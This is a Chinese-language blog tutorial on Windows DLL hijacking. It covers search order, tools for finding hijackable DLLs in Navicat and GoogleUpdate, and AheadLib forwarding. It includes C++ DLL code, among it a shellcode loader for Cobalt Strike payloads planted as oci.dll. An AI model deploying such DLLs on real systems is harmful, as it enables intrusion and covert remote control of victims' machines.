技术研究 – 从零开始学习 DLL 劫持

DLL 劫持

DLL 简介

在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。

DLL 加载顺序

如果程序需要加载一个相对路径的 dll 文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:

windows xp sp2 之前

Windows 查找 DLL 的目录以及对应的顺序:

  • 进程对应的应用程序所在目录;
  • 当前目录(Current Directory);
  • 系统目录(通过 GetSystemDirectory 获取);
  • 16 位系统目录;
  • Windows 目录(通过 GetWindowsDirectory 获取);
  • PATH 环境变量中的各个目录;

windows xp sp2 之后

Windows 查找 DLL 的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为 1

  • 进程对应的应用程序所在目录(可理解为程序安装目录比如 C:ProgramFilesuTorrent)
  • 系统目录(即 % windir% system32);
  • 16 位系统目录(即 % windir% system);
  • Windows 目录(即 % windir%);
  • 当前目录(运行的某个文件所在目录,比如 C:Documents and SettingsAdministratorDesktoptest);
  • PATH 环境变量中的各个目录;

windows 7 以上版本

从 Windows7 之后,微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中,该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录 SYSTEM32 目录下调用,其注册表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

技术研究 - 从零开始学习 DLL 劫持

自动化挖掘

批量寻找劫持

https://github.com/wietze/windows-dll-hijacking

python generate_pmc_files.py
技术研究 - 从零开始学习 DLL 劫持

单个查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

编译完成后,把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里

技术研究 - 从零开始学习 DLL 劫持
ImpulsiveDLLHijack.exe -path xxx.exe
技术研究 - 从零开始学习 DLL 劫持

这里使用 navicat 进行测试,可见运行的时候会加载 C:UsersdyyAppDataLocalProgramsPythonPython38Scriptsoci.dll

技术研究 - 从零开始学习 DLL 劫持

使用 cs 生成恶意 dll,重命名为 oci.dll 后放置到该目录下

技术研究 - 从零开始学习 DLL 劫持
技术研究 - 从零开始学习 DLL 劫持

手动挖掘

Process Monitor 查找可用 dll,设置如下图所示

技术研究 - 从零开始学习 DLL 劫持

配置完可以保存导出配置,下次直接导入使用

技术研究 - 从零开始学习 DLL 劫持

使用 GoogleUpdate.exe 进行测试,运行程序 filter 加载所使用的 dll 文件

技术研究 - 从零开始学习 DLL 劫持

这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

编写一个基础的弹窗 dll

#include <Windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行
    case DLL_PROCESS_DETACH://DLL销毁时运行
    case DLL_THREAD_ATTACH://DLL线程加载时运行
    case DLL_THREAD_DETACH://DLL线程销毁时运行
        break;
    }
    return TRUE;
}


extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

弹计算器

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
技术研究 - 从零开始学习 DLL 劫持

CS 上线

cs 生成 c 的 payload

技术研究 - 从零开始学习 DLL 劫持
技术研究 - 从零开始学习 DLL 劫持

生成的 payload 填入到下面相应的位置上

// 头文件
#include "pch.h"
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc8";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);

    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }

    return TRUE;
}
技术研究 - 从零开始学习 DLL 劫持

运行 navicat 程序就会上线

技术研究 - 从零开始学习 DLL 劫持

DLL 转发劫持

有时候当我们替换 dll 后,虽然可以执行命令,但是会产生报错

技术研究 - 从零开始学习 DLL 劫持

这时候我们可以使用 AheadLib 工具,使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码

打开工具导入 dll 文件,会生成相应的 cpp 文件

直接转发函数,我们只能控制 DllMain 即调用原 DLL 时触发的行为可控
即时调用函数,可以在处理加载 DLL 时,调用具体函数的时候行为可控,高度自定义触发点,也称用来 hook 某些函数,获取到参数值

技术研究 - 从零开始学习 DLL 劫持
技术研究 - 从零开始学习 DLL 劫持
技术研究 - 从零开始学习 DLL 劫持

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=1kvjv5bw3cr7k

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容